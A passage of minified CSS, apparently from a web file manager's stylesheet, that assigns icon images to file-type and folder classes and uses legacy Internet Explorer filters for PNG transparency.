\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none 